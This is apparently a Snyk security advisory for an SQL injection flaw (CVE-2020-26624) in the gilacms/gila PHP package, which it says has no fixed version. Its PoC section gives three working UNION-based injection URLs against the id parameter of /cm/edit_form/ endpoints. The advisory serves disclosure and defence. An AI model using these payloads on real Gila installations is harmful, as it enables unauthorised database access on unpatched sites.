SQL Injection Affecting gilacms/gila package, versions >=0.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.5% (77th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-GILACMSGILA-6142622
  • published3 Jan 2024
  • disclosed2 Jan 2024
  • creditChris Chan, Louise Ng

Introduced: 2 Jan 2024

CVE-2020-26624  (opens in a new tab)
CWE-89  (opens in a new tab)

How to fix?

There is no fixed version for gilacms/gila.

Overview

gilacms/gila is an A framework to build your next awesome web application.

Affected versions of this package are vulnerable to SQL Injection via the ID parameter after the login portal. An attacker can execute arbitrary web scripts by injecting malicious SQL commands.

PoC

http://targeturl/cm/edit_form/userrole?id=2'%20and%201%3d0%20UNION%20ALL%20SELECT%20@@version,NULL,NULL--%20&callback=g_form_popup_update

http://targeturl/cm/edit_form/user?id=1'%20and%201%3d0%20UNION%20ALL%20SELECT%20NULL,@@version,NULL,NULL,NULL,NULL,NULL--%20

http://targeturl/cm/edit_form/page?id=7'%20and%201%3d0%20%20UNION%20ALL%20SELECT%20NULL,@@version,NULL,NULL,NULL--%20

References

CVSS Scores

version 3.1